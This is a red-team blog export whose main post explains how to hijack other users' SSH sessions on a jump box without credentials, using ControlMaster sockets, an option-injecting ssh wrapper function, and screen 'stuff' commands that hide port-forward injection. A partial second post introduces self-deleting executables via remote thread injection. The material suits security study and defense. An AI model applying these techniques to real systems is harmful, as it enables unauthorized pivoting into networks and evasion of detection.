tag:blogger.com,1999:blog-42410451655816309152024-03-12T16:33:13.837-07:00Incursus Absconditus@ThemsonMesterhttp://www.blogger.com/profile/14184721559739345817noreply@blogger.comBlogger5125tag:blogger.com,1999:blog-4241045165581630915.post-38756373358832734242015-03-13T22:24:00.000-07:002015-03-14T12:15:13.393-07:00Hijacking SSH to Inject Port ForwardsDuring red team post exploitation I sometimes run into jump boxes leading to test environments, production servers, DMZs, or other organizational branches. As these systems are designed to act as couriers of outbound traffic, hijacking SSH sessions belonging to other users can be useful. So what do you do when you have full control over a jump box and want to leverage another user's outbound SSH access to tunnel into another segment? What if you don't have passwords, keys, shouldn't drop binaries, and SSH is protected by 2-factor authentication? Roll up your sleeves and trust your command line Kung Fu!<br>
<br>
This post will cover two approaches to hijacking SSH sessions, without credentials, with the goal inserting dynamic port forwards on the fly. The two stages at which I'll approach hijacking sessions are: (1) upon session creation, and (2) when a live SSH session exists inside of <span style="font-family: Courier New, Courier, monospace;">screen</span> (more common than you'd think). In each case our final goal is to create a tunnel inside another user's active session in order to gain access to outbound routes on the terminating SSHD host.<br>
<br>
<br>
<h4>
Hijacking SSH on Creation:</h4>
<div>
To hijack newly created SSH sessions we can leverage a feature known as SSH multiplexing. This feature allows for the creation of control sockets that<span style="font-family: inherit;"> enable an attacker to create their own sessions inside the original </span>user' socket<span style="font-family: inherit;">, without </span>re-authentication<span style="font-family: inherit;">. </span><span style="font-family: inherit;">The </span><span style="font-family: Courier New, Courier, monospace;">ControlMaster</span><span style="font-family: inherit;"> feature was introduced in </span>OpenSSH 4, and has was previously referenced in H D Moore and Val Smith's <a href="https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf">Tactical Exploitation</a> presentation. I also demonstrated the attack in a talk/class of mine entitled, <a href="https://www.blacklodgeresearch.org/files/7613/6963/4840/Poor_Mans_Root_Kit_BLR_talk_PUBLIC_2013.pdf">The Poor Man's Rootkit</a>. In this post I will show two means to force the creation of master sockets, and then how to inject port forwards into them.</div>
<br>
<h3>
<b>
ControlMaster via SSH Client Config:</b></h3>
The most common way to deploy <span style="font-family: Courier New, Courier, monospace;">ControlMaster</span> sockets is by altering the system wide SSH client config.<br>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnxbL437jziEW3k7uD8-pdyhmf4l4qaMhXtxRThQjLRetLf1UHZoRL13eQzeWbknRjtdoeoVs9eB9xRTb9xogGsc4nnIsfNTgTlmFW_aJE4NLBIleM4O8AUOyvlEEZqefBOFObCAb9ChNK/s1600/ssh_config1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnxbL437jziEW3k7uD8-pdyhmf4l4qaMhXtxRThQjLRetLf1UHZoRL13eQzeWbknRjtdoeoVs9eB9xRTb9xogGsc4nnIsfNTgTlmFW_aJE4NLBIleM4O8AUOyvlEEZqefBOFObCAb9ChNK/s1600/ssh_config1.png"></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: x-small;">Inserting <span style="font-family: Courier New, Courier, monospace;">ControlMaster</span> options into ssh_config on hop_1</span></td></tr>
</tbody></table>
<br>
These settings will cause all new SSH sessions to create a persistent brokering master socket.<br>
<span style="text-align: center;">I've used %h in control socket commands to represent the target host, %h can be any char(s).</span><br>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFCC4A0a8z4085sFKWL6YXI86Q1s5LDQH9RmAcBGUp89Nt7s6Uhc4jgM_cigK_ZRCI_jLOH6zQc6zmBcmlMfB2uJKgQywwiPZ9JM20lcxttvp2AYRABPTJE7q_el2cHRBxXyu-fKX_NJJc/s1600/socket1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFCC4A0a8z4085sFKWL6YXI86Q1s5LDQH9RmAcBGUp89Nt7s6Uhc4jgM_cigK_ZRCI_jLOH6zQc6zmBcmlMfB2uJKgQywwiPZ9JM20lcxttvp2AYRABPTJE7q_el2cHRBxXyu-fKX_NJJc/s1600/socket1.png"></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: x-small;">Master socket created in <span style="font-family: Courier New, Courier, monospace;">ControlPath</span></span></td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
<br></div>
<div>
<div>
<b>Connecting to the socket:</b></div>
</div>
<div>
This socket can be used to create further sessions, without credentials, even after the original user exits their session.<br>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIAbYOG1-PsbhvifZwE7EE-xNYZwKZMZ_L_zCMLQ4A-toTE-o7nF5RWIob20rjOI552RHtWhrdNA14hkXovICtonDJ5PZtbncM61vOkLNVOGS_38bL3QsWzv2R1b5YYv44avzzW8JAo2Gv/s1600/connect.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIAbYOG1-PsbhvifZwE7EE-xNYZwKZMZ_L_zCMLQ4A-toTE-o7nF5RWIob20rjOI552RHtWhrdNA14hkXovICtonDJ5PZtbncM61vOkLNVOGS_38bL3QsWzv2R1b5YYv44avzzW8JAo2Gv/s1600/connect.png"></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: x-small;">Creating a session using a master socket.</span></td></tr>
</tbody></table>
<div class="" style="clear: both; text-align: center;">
<div style="text-align: left;">
<br></div>
</div>
</div>
<div>
<div>
<b>Adding a dynamic tunnel:</b></div>
<div>
Remember our end goal is to pivot into other network segments. The following command will create a dynamic tunnel inside an existing master socket.</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid0XgbhRVkwuWjPE_8IB08LOq6ewj5AB7dCbn11xPjkTd-bWuvem86MYxH2AA4OiWbz0yiIFmXzwI4JscpXBbLod3FX61Y8sNkK7XdCBLXGQLuTYuU4CwpYTCwNRtKWuHHA6tbuUw0Pt4D/s1600/forward_mastersocket.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid0XgbhRVkwuWjPE_8IB08LOq6ewj5AB7dCbn11xPjkTd-bWuvem86MYxH2AA4OiWbz0yiIFmXzwI4JscpXBbLod3FX61Y8sNkK7XdCBLXGQLuTYuU4CwpYTCwNRtKWuHHA6tbuUw0Pt4D/s1600/forward_mastersocket.png"></a></div>
<span style="font-size: x-small;">Dynamic port forward added to live socket</span></div>
</div>
<div>
<div>
<b>Removing the socket:</b></div>
<div>
Simply exiting the multiplexed sessions will not close the master socket. In order to close the socket you must explicitly send an exit request.<br>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrEEYLip8BoLsbsJfveuvv5FakxxgbAaxI700kPZX16jrV3aqacNFhnweGvqkLb1k2RAWFdk1ver8-BLsPzbvqCDcrMHtg43RiGfodOISMW6Q84sOB5K7mgO2s5YsjsOl0Vy6TAbH2JJAd/s1600/remove_socket.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrEEYLip8BoLsbsJfveuvv5FakxxgbAaxI700kPZX16jrV3aqacNFhnweGvqkLb1k2RAWFdk1ver8-BLsPzbvqCDcrMHtg43RiGfodOISMW6Q84sOB5K7mgO2s5YsjsOl0Vy6TAbH2JJAd/s1600/remove_socket.png"></a></div>
</div>
<div>
<div style="text-align: center;">
<span style="font-size: x-small;">Shutting down the master socket</span></div>
</div>
</div>
</div>
<div>
<h3>
</h3>
<h3>
SSH ControlMaster via Shell Functions:</h3>
<div>
Another way to leverage this hijacking technique, that I haven't seen shared before, is by abusing the fact that master sockets may be created through SSH client option flags. As such, we can use a shell function to intercept a user's SSH client commands and inject our own <span style="font-family: Courier New, Courier, monospace;">ControlMaster</span> arguments.</div>
<pre class="prettyprint lang-bsh prettyprinted" style=""><span class="pln">ssh </span><span class="pun">()</span><span class="pln">
</span><span class="pun">{</span><span class="pln">
</span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">ssh </span><span class="pun">-</span><span class="pln">o </span><span class="str">"ControlMaster=auto"</span><span class="pln"> </span><span class="pun">-</span><span class="pln">o </span><span class="str">"ControlPath=/tmp/%r@%h:%p"</span><span class="pln"> </span><span class="pun">-</span><span class="pln">o </span><span class="str">"ControlPersist=yes"</span><span class="pln"> </span><span class="str">"$@"</span><span class="pun">;</span><span class="pln">
</span><span class="pun">}</span></pre>
<div>
<div class="" style="clear: both; text-align: center;">
<span style="font-size: x-small;"><span style="text-align: start;">A simple </span><span style="font-family: 'Courier New', Courier, monospace;">ControlMaster</span><span style="text-align: start;"> injecting wrapper function.</span></span><br>
<span style="text-align: start;"><br></span>
<br>
<div style="text-align: left;">
<span style="text-align: start;">This intercepting wrapper function will create sockets identical to those we created using ssh_config.</span></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiqEIUDnpubJZnNW7qX0DxkIaiijD53IrULuj_9iWKmeSNp4D68EpzwHPn4i2bHGEL2SzO49wfk1ZyfBsnzAd5PoQxaSeKolQP6eh6rVvOukksPBiA4aIF0cTgFegQ5eehXniXqKR9Gnud/s1600/shell_function.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiqEIUDnpubJZnNW7qX0DxkIaiijD53IrULuj_9iWKmeSNp4D68EpzwHPn4i2bHGEL2SzO49wfk1ZyfBsnzAd5PoQxaSeKolQP6eh6rVvOukksPBiA4aIF0cTgFegQ5eehXniXqKR9Gnud/s1600/shell_function.png"></a></div>
<div>
<div style="text-align: center;">
<span style="font-size: x-small;">Successfully injecting <span style="font-family: Courier New, Courier, monospace;">ControlMaster</span> options into an SSH client command</span></div>
</div>
</div>
<div>
<br>
<h3>
Flow of traffic in this attack:</h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsiq58osQnGjoo7ddExCCJYOzqE2Z4leutHR9X2tZqO6q__1JkicRa3aC2DGPwRRZym7gmeYXC9Ahcnp5VdPinWnXyFXVMae6FYczzIEXSt0zudtxA2PYmUtA-XA6g2caqNsbRe2dBwxjT/s1600/diagram_general.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsiq58osQnGjoo7ddExCCJYOzqE2Z4leutHR9X2tZqO6q__1JkicRa3aC2DGPwRRZym7gmeYXC9Ahcnp5VdPinWnXyFXVMae6FYczzIEXSt0zudtxA2PYmUtA-XA6g2caqNsbRe2dBwxjT/s1600/diagram_general.png"></a></div>
<br>
Using SSH <span style="font-family: Courier New, Courier, monospace;">ControlMaster</span> sockets and socket options we can now hijack SSH sessions and inject port forwards, all without authentication.<br>
Now to tackle sessions in progress...</div>
<br>
<br>
<br>
<br>
<h4>
Hijacking Active SSH Sessions:</h4>
<div>
It is not uncommon for users to create <span style="font-family: Courier New, Courier, monospace;">screen</span> sessions to house SSH connections to other boxes they are working on. What most users do not realize is that these session can be hijacked and have port forwards injected into them on the fly.<br>
<br>
<b>Hunting for screen sessions: </b><br>
One way to find <span style="font-family: Courier New, Courier, monospace;">screen</span> sessions is to look under <span style="font-family: Courier New, Courier, monospace;">/var/run/screen</span>. Or you can enumerate a single user by issuing an incomplete <span style="font-family: Courier New, Courier, monospace;">screen -r </span>command.</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJSrzTvAraLuMsQaG30gWmzMCXaqIiD-Jxo3LibfLcPTUNcPqnCiXG6e92KTaMi66jcBw9XtYABzcQZcJuDEbF1OOfpxo9MBdecVIEjNN3Eh9bYN7PlW4ub677qPLvAlAxKlSdkFnqiHx8/s1600/huntscreen.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJSrzTvAraLuMsQaG30gWmzMCXaqIiD-Jxo3LibfLcPTUNcPqnCiXG6e92KTaMi66jcBw9XtYABzcQZcJuDEbF1OOfpxo9MBdecVIEjNN3Eh9bYN7PlW4ub677qPLvAlAxKlSdkFnqiHx8/s1600/huntscreen.png"></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: x-small;">Hunting for <span style="font-family: Courier New, Courier, monospace;">screen</span> sessions</span></div>
<div class="separator" style="clear: both; text-align: center;">
<br></div>
<div class="separator" style="clear: both; text-align: left;">
<b>Bypassing screen pts/tty restrictions:</b></div>
<div class="separator" style="clear: both; text-align: left;">
Accessing the <span style="font-family: Courier New, Courier, monospace;">screen</span> sessions of another user is not as straight forward su'ing and viewing; this is where many attackers give up. <span style="font-family: Courier New, Courier, monospace;">su</span> to a user to interact with their screen session and you will find yourself staring at one of the following errors: "<span style="font-family: Courier New, Courier, monospace;">Cannot open your terminal '/dev/pts/#' - please check.</span>" or "<span style="font-family: Courier New, Courier, monospace;">Must be connected to a terminal.</span>"</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPrZGpkKkLT9WfKuuukpJI7Jkp5uTci9RQnVi_TeFLojP8ljNTS2MjXdae4bBuFfbnh-59YnWk21MrJNAa910RwZ_E206AMj5zOC6Wie9aQ_rKYSr6gd-bKdOY1r30L3DBzbzOUg1tJbV_/s1600/screenerror.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPrZGpkKkLT9WfKuuukpJI7Jkp5uTci9RQnVi_TeFLojP8ljNTS2MjXdae4bBuFfbnh-59YnWk21MrJNAa910RwZ_E206AMj5zOC6Wie9aQ_rKYSr6gd-bKdOY1r30L3DBzbzOUg1tJbV_/s1600/screenerror.png"></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: x-small;">Error when trying to access another user's <span style="font-family: Courier New, Courier, monospace;">screen</span> session</span></div>
<div class="separator" style="clear: both; text-align: center;">
<br></div>
<div class="separator" style="clear: both; text-align: left;">
One way to bypass this restriction is to use the <span style="font-family: Courier New, Courier, monospace;">script</span> binary to wrap the <span style="font-family: Courier New, Courier, monospace;">su</span>'d user session.</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkYM2wBgvq-VLDHctAxnUAJYmPc9P6PZoFZ8DZVLRElaGoy-hFtKKPZ2JiSeD5gXa3REM_1OP2K704uTp7oUtLhGRavoqIrc2Px1DeU1ErhNFLv0MXG0i7dmMbB5xW6BZdXGXxJJNynss9/s1600/script.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkYM2wBgvq-VLDHctAxnUAJYmPc9P6PZoFZ8DZVLRElaGoy-hFtKKPZ2JiSeD5gXa3REM_1OP2K704uTp7oUtLhGRavoqIrc2Px1DeU1ErhNFLv0MXG0i7dmMbB5xW6BZdXGXxJJNynss9/s1600/script.png"></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: x-small;">Using <span style="font-family: Courier New, Courier, monospace;">script</span> to bypass <span style="font-family: Courier New, Courier, monospace;">screen</span> pts/tty restrictions</span></div>
<div class="separator" style="clear: both; text-align: left;">
<br></div>
<div class="separator" style="clear: both; text-align: left;">
<b>Adding a tunnel on the fly:</b></div>
<div class="separator" style="clear: both; text-align: left;">
A rarely used feature of SSH is the escape sub-shell. If you are using a means other than SSH to control your access to the jump box you can leverage escape sequences to add port forwards into another user's established session. Use <span style="font-family: Courier New, Courier, monospace;">~C</span> to drop into the SSH sub-shell, then <span style="font-family: Courier New, Courier, monospace;">-D:</span><span style="font-family: 'Courier New', Courier, monospace;"><port> </span>to add a dynamic forward on the fly. To remove the forward use <span style="font-family: 'Courier New', Courier, monospace;">~C </span><span style="font-family: inherit;">followed by </span><span style="font-family: 'Courier New', Courier, monospace;">-KD:<port></span></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAaE4w_ShQ9c_YRh_KNANDHR2q5rU_8rixv3THdkf2QorE-WOFpUuBp7uNZjbt5MJZiaAJmpoUbb7NIhqMYF0ST8c3S9IEPrCkklVvfYVzEAWireHUErbybsA4_PA62Ja0ScmLRmyesXwF/s1600/portforward_netcat.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAaE4w_ShQ9c_YRh_KNANDHR2q5rU_8rixv3THdkf2QorE-WOFpUuBp7uNZjbt5MJZiaAJmpoUbb7NIhqMYF0ST8c3S9IEPrCkklVvfYVzEAWireHUErbybsA4_PA62Ja0ScmLRmyesXwF/s1600/portforward_netcat.png"></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: x-small;">Adding port forwards with SSH escape commands</span></div>
<div class="separator" style="clear: both; text-align: left;">
<br></div>
<div class="separator" style="clear: both;">
If you are using SSH for your primary shell the above example <b>will</b> <b>not</b> work from inside <span style="font-family: Courier New, Courier, monospace;">screen.</span>This is due to the fact that your own outermost SSH client will catch the escape characters. Not to worry, I'll show you a way around that!</div>
<div>
<br></div>
<div class="separator" style="clear: both; text-align: left;">
<br></div>
<div class="separator" style="clear: both; text-align: left;">
<b>Creating tunnels with screen stuffing:</b></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">Screen</span> has a feature that allows you to "Stuff" the contents of a buffer into its input queue. The stuffed text is parsed as if it had been typed from inside <span style="font-family: Courier New, Courier, monospace;">screen</span>, allowing us to bypass escape characters being caught by outer SSH sessions.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY9wvod-Sct7zPjsqefvo0VCuY0-E8IBGdj0YXpBwrmFBbhp4QQ06tQ1T0ZZfreYumdE_Hhz92G6ZYcFCkUYU5n7rlct9X_phSIFAp2E6u6qRsKkeA4vJtF_MEg567AAW7GFqn8ceh_Pir/s1600/stuff_forward_start.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY9wvod-Sct7zPjsqefvo0VCuY0-E8IBGdj0YXpBwrmFBbhp4QQ06tQ1T0ZZfreYumdE_Hhz92G6ZYcFCkUYU5n7rlct9X_phSIFAp2E6u6qRsKkeA4vJtF_MEg567AAW7GFqn8ceh_Pir/s1600/stuff_forward_start.png"></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: x-small;">Stuffing <span style="font-family: Courier New, Courier, monospace;">screen</span> to create a port forward</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLjr8ZoEqvxb3u6SreJjWW7H7Y-HiugoLevFR_yQ0NTWuOc7nHyK4TRrlYI6Kb9TGKc4ixGtMiqQapxhcN1fuEdUyu5oA8xzzkHdyqkBNjOy7oE_E6-P-ZhyphenhyphenIC-yvzgxMX3xdKpsw0xisC/s1600/stuff_forward_close.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLjr8ZoEqvxb3u6SreJjWW7H7Y-HiugoLevFR_yQ0NTWuOc7nHyK4TRrlYI6Kb9TGKc4ixGtMiqQapxhcN1fuEdUyu5oA8xzzkHdyqkBNjOy7oE_E6-P-ZhyphenhyphenIC-yvzgxMX3xdKpsw0xisC/s1600/stuff_forward_close.png"></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: x-small;">Stuffing <span style="font-family: Courier New, Courier, monospace;">screen</span> to shutdown a port forward</span></div>
<div class="" style="clear: both;">
<b><br></b>
<b>A note on stealthy stuffing: </b>Stuff'd text is visible inside a screen session's scroll back. You can prevent this by altering the scroll back length on the fly. This can be done by changing the scrollback to 0 lines before your command, clearing the screen, then setting it back.</div>
<pre class="prettyprint lang-bsh prettyprinted" style=""><span class="pln">screen </span><span class="pun">-</span><span class="pln">S </span><span class="lit">18323.my</span><span class="pln">_ssh_session </span><span class="pun">-</span><span class="pln">X scrollback </span><span class="lit">0</span><span class="pln">
screen </span><span class="pun">-</span><span class="pln">S </span><span class="lit">18323.my</span><span class="pln">_ssh_session </span><span class="pun">-</span><span class="pln">p </span><span class="lit">0</span><span class="pln"> </span><span class="pun">-</span><span class="pln">X stuff $</span><span class="str">'~C'</span><span class="pln">
screen </span><span class="pun">-</span><span class="pln">S </span><span class="lit">18323.my</span><span class="pln">_ssh_session </span><span class="pun">-</span><span class="pln">p </span><span class="lit">0</span><span class="pln"> </span><span class="pun">-</span><span class="pln">X stuff $</span><span class="str">'-D:9090\nclear\n'</span><span class="pln">
screen </span><span class="pun">-</span><span class="pln">S </span><span class="lit">18323.my</span><span class="pln">_ssh_session </span><span class="pun">-</span><span class="pln">X scrollback </span><span class="lit">15000</span></pre>
<div>
<br>
<b>Flow of traffic in Screen Hijack attack.</b><br>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUEn448m_LCexXB6RiLuwb3K6UatNtBQnKIsjdtRZavFeOFuA2ckKqxjk5vETDXdZV2_jzIkz5_WbvT6FV-65LaB0s8lTwXYJW4im2lxOQJ4TZpF_wxoJdj83fMDkY0o1oZVd5IZhOIbAj/s1600/finaldiagram.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUEn448m_LCexXB6RiLuwb3K6UatNtBQnKIsjdtRZavFeOFuA2ckKqxjk5vETDXdZV2_jzIkz5_WbvT6FV-65LaB0s8lTwXYJW4im2lxOQJ4TZpF_wxoJdj83fMDkY0o1oZVd5IZhOIbAj/s1600/finaldiagram.png"></a></div>
<br>
Thanks to SSH escapes and <span style="font-family: Courier New, Courier, monospace;">screen</span> stuffing we now have a means to hijack established sessions and inject tunnels on the fly!<br>
<h4>
</h4>
<div>
<span style="font-family: inherit;"><br></span>
<span style="font-family: inherit;"><br></span></div>
<h4>
<span style="font-family: inherit;">Tunneling into Remote Segments</span>:</h4>
</div>
<div class="" style="clear: both;">
The final step is to bind a local port on our machine to connect us to the tunnel we injected on hop_1.<br>
<span style="text-align: center;">We now have a full dynamic tunnel into the remote segment, without authentication</span><span style="text-align: center;">.</span><br>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqi2NccVSypB5xceSrmDDC0yaNohBXd_j0CBeCf0WPd5lwbbrUGM_lukz_dho5LDa8abkQDMbBXtVGqWAqjILl9QFfhcfW5mMZn5H3fIpHW68Jt36yNo-9MsWR4zSMv2F2OdHbWoe9GL3R/s1600/full.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqi2NccVSypB5xceSrmDDC0yaNohBXd_j0CBeCf0WPd5lwbbrUGM_lukz_dho5LDa8abkQDMbBXtVGqWAqjILl9QFfhcfW5mMZn5H3fIpHW68Jt36yNo-9MsWR4zSMv2F2OdHbWoe9GL3R/s1600/full.png"></a></div>
</div>
<div class="" style="clear: both; text-align: center;">
<span style="font-size: x-small;">Local port forward on attacker machine via SSH escapes.</span></div>
<div class="" style="clear: both; text-align: left;">
<br></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both;">
<br></div>
<div class="separator" style="clear: both;">
<br></div>
<div class="separator" style="clear: both;">
<br></div>
<div class="separator" style="clear: both;">
<br></div>
<div class="separator" style="clear: both;">
<br></div>
<h4 style="clear: both; text-align: center;">
Locate, Hijack, Inject Tunnel, Break on through...</h4>
<div class="separator" style="clear: both; text-align: center;">
Tunneling through another user's session without credentials should have the following impact on your target.</div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3F6WeaCNfgl5AdQbFZCSI8n-HxJqgJ-CoGA10CVXJ2lLytmgOTneD3P019ssLOYuz5usujiucrQ57qR0sYw2EjjzJgAlVJ8RmMK0H9AtdkgbkYua8psfxPBcnOisBOP2ITQTxorPY1KYv/s1600/reaction.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3F6WeaCNfgl5AdQbFZCSI8n-HxJqgJ-CoGA10CVXJ2lLytmgOTneD3P019ssLOYuz5usujiucrQ57qR0sYw2EjjzJgAlVJ8RmMK0H9AtdkgbkYua8psfxPBcnOisBOP2ITQTxorPY1KYv/s1600/reaction.gif"></a></div>
<span style="background-color: #222222; color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.2000007629395px;"><br></span>
<span style="background-color: #222222; color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.2000007629395px;"><br></span>
<span style="background-color: #222222; color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.2000007629395px;">Go learn something ...</span><span style="background-color: #222222; color: red; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.2000007629395px;"> </span><br>
<b style="color: red; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.2000007629395px;"><a href="https://twitter.com/ThemsonMester" style="color: #666666; text-decoration: none;" target="_blank">@ThemsonMester</a></b><br>
<br>
</div>
</div>@ThemsonMesterhttp://www.blogger.com/profile/14184721559739345817noreply@blogger.com4tag:blogger.com,1999:blog-4241045165581630915.post-79382474073371909172014-10-14T19:16:00.001-07:002014-10-30T11:18:54.920-07:00Self-removing PE's with Remote Thread InjectionThere has been a great deal of sharing of client side techniques of late, so I thought I'd toss out a tip. A means to have a PE executable terminate and delete itself while running on a modern Windows system. The technique we will use is not new, but is one I discovered independently while tinkering with thread injection techniques a few years back.<br />
<br />
If you have worked with a modern Windows systems you are familiar, at least on an abstract level, that once an executable has been mapped to virtual memory you cannot delete the file from disk until the handle is closed. Self-deleting a "Persisted memory-mapped file" is often solved by writing a secondary script (.bat||.ps1||.vbs) to disk as a clean-up stub. A cleaner way to do this is to spawn a windowless process in a new process group and inject code to terminate the calling PE, and remove the file from disk. This post includes a purposefully verbose example written in python to attempt to clearly illustrate this technique.<br />
<br />
Since many people are familiar with the <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms682453(v=vs.85).aspx">CreateThread</a> function, due to it's popularity in shellcode execution, we will use the <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437(v=vs.85).aspx">CreateRemoteThread</a> function for our examples. The only difference people already familiar with CreateThread will notice is that CreateRemoteThread takes a process handle argument denoting the remote process into which we injected our code.<br />
<br />
<br />
<h3>
Attempt to Delete Executable from Modern Windows System:</h3>
<div>
If you've ever attempted to delete an open file on a modern Windows system you are familiar with the following dialog. </div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvtAR3_mvbYY_jzAYkN_CdhkZn8I4AhdZEs-Up5xO3BbZWJ4wBndOJvTB5gpW41tPwZ0ATdetGtH3T3qgPnJsCt2yDlQkygaAW8InQfdFrT3BUi-2qOBdDQUslbufabxtUrMGZ2P3zw-ZY/s1600/fileinuse.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvtAR3_mvbYY_jzAYkN_CdhkZn8I4AhdZEs-Up5xO3BbZWJ4wBndOJvTB5gpW41tPwZ0ATdetGtH3T3qgPnJsCt2yDlQkygaAW8InQfdFrT3BUi-2qOBdDQUslbufabxtUrMGZ2P3zw-ZY/s1600/fileinuse.png" height="235" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h4 style="clear: both; text-align: left;">
Self Removal Via Remote Thread Injection:</h4>
